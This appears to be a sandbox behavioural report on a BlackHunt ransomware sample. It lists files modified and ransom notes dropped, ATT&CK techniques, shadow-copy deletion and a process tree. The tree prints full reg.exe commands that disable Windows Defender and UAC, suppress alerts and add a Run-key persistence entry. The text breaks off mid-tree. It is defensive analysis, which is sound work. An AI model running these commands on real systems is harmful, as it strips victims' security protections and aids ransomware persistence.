File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\javaws.jar	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\#BlackHunt_ReadMe.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_image-frame-ImageMask.png	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.commands.nl_ja_4.4.0.v20140623020002.jar	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-applemenu_zh_CN.jar	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Khartoum	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hu.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\#BlackHunt_ReadMe.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\El_Aaiun	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\plugin.properties	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.renderers.swt.nl_ja_4.4.0.v20140623020002.jar	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.forms.nl_ja_4.4.0.v20140623020002.jar	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\Beulah	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.views_3.7.0.v20140408-0703.jar	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_ReadMe.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-10	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\control\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Hong_Kong	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\config.ini	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Costa_Rica	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\content-types.properties	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Australia\Hobart	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Samara	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\HLS.api	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationLeft_ButtonGraphic.png	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SceneButtonInset_Alpha2.png	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Windhoek	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.nl_ja_4.4.0.v20140623020002.jar	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\favicon.ico	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZY______.PFB	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\#BlackHunt_Private.key	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Lindeman	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_ReadMe.txt	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#BlackHunt_ReadMe.hta	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\Audio-48.png	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\koreus.luac	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationUp_ButtonGraphic.png	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1840	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2844	vssadmin.exe
920	vssadmin.exe
1604	vssadmin.exe
2744	vssadmin.exe
2108	vssadmin.exe
2124	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3556	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3572	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3676	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Token: SeRestorePrivilege	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Token: SeBackupPrivilege	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Token: SeTakeOwnershipPrivilege	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Token: SeAuditPrivilege	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Token: SeSecurityPrivilege	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Token: SeIncBasePriorityPrivilege	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Token: SeBackupPrivilege	1224	vssvc.exe
Token: SeRestorePrivilege	1224	vssvc.exe
Token: SeAuditPrivilege	1224	vssvc.exe
Token: SeBackupPrivilege	2864	wbengine.exe
Token: SeRestorePrivilege	2864	wbengine.exe
Token: SeSecurityPrivilege	2864	wbengine.exe
Token: SeSecurityPrivilege	604	wevtutil.exe
Token: SeBackupPrivilege	604	wevtutil.exe
Token: SeSecurityPrivilege	3092	wevtutil.exe
Token: SeBackupPrivilege	3092	wevtutil.exe
Token: SeSecurityPrivilege	3016	wevtutil.exe
Token: SeBackupPrivilege	3016	wevtutil.exe
Token: SeSecurityPrivilege	3220	wevtutil.exe
Token: SeBackupPrivilege	3220	wevtutil.exe
Token: SeSecurityPrivilege	3292	wevtutil.exe
Token: SeBackupPrivilege	3292	wevtutil.exe
Token: SeDebugPrivilege	3556	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1748 wrote to memory of 2108	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	29
PID 1748 wrote to memory of 2108	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	29
PID 1748 wrote to memory of 2108	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	29
PID 1748 wrote to memory of 2108	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	29
PID 1748 wrote to memory of 2096	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	31
PID 1748 wrote to memory of 2096	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	31
PID 1748 wrote to memory of 2096	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	31
PID 1748 wrote to memory of 2096	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	31
PID 1748 wrote to memory of 2080	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	33
PID 1748 wrote to memory of 2080	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	33
PID 1748 wrote to memory of 2080	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	33
PID 1748 wrote to memory of 2080	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	33
PID 2108 wrote to memory of 1308	2108	cmd.exe	34
PID 2108 wrote to memory of 1308	2108	cmd.exe	34
PID 2108 wrote to memory of 1308	2108	cmd.exe	34
PID 1748 wrote to memory of 2576	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	36
PID 1748 wrote to memory of 2576	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	36
PID 1748 wrote to memory of 2576	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	36
PID 1748 wrote to memory of 2576	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	36
PID 1748 wrote to memory of 2648	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	38
PID 1748 wrote to memory of 2648	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	38
PID 1748 wrote to memory of 2648	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	38
PID 1748 wrote to memory of 2648	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	38
PID 2096 wrote to memory of 2676	2096	cmd.exe	39
PID 2096 wrote to memory of 2676	2096	cmd.exe	39
PID 2096 wrote to memory of 2676	2096	cmd.exe	39
PID 1748 wrote to memory of 2604	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	41
PID 1748 wrote to memory of 2604	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	41
PID 1748 wrote to memory of 2604	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	41
PID 1748 wrote to memory of 2604	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	41
PID 1748 wrote to memory of 2104	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	43
PID 1748 wrote to memory of 2104	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	43
PID 1748 wrote to memory of 2104	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	43
PID 1748 wrote to memory of 2104	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	43
PID 1748 wrote to memory of 1644	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	45
PID 1748 wrote to memory of 1644	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	45
PID 1748 wrote to memory of 1644	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	45
PID 1748 wrote to memory of 1644	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	45
PID 1748 wrote to memory of 2728	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	47
PID 1748 wrote to memory of 2728	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	47
PID 1748 wrote to memory of 2728	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	47
PID 1748 wrote to memory of 2728	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	47
PID 1748 wrote to memory of 2956	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	48
PID 1748 wrote to memory of 2956	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	48
PID 1748 wrote to memory of 2956	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	48
PID 1748 wrote to memory of 2956	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	48
PID 2648 wrote to memory of 2660	2648	cmd.exe	50
PID 2648 wrote to memory of 2660	2648	cmd.exe	50
PID 2648 wrote to memory of 2660	2648	cmd.exe	50
PID 1748 wrote to memory of 2712	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	51
PID 1748 wrote to memory of 2712	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	51
PID 1748 wrote to memory of 2712	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	51
PID 1748 wrote to memory of 2712	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	51
PID 1748 wrote to memory of 2616	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	52
PID 1748 wrote to memory of 2616	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	52
PID 1748 wrote to memory of 2616	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	52
PID 1748 wrote to memory of 2616	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	52
PID 1748 wrote to memory of 2452	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	55
PID 1748 wrote to memory of 2452	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	55
PID 1748 wrote to memory of 2452	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	55
PID 1748 wrote to memory of 2452	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	55
PID 1748 wrote to memory of 2480	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	58
PID 1748 wrote to memory of 2480	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	58
PID 1748 wrote to memory of 2480	1748	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe	58

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
"C:\Users\Admin\AppData\Local\Temp\344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2108
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:2080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2576
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2104
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:1644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:3052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2480
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
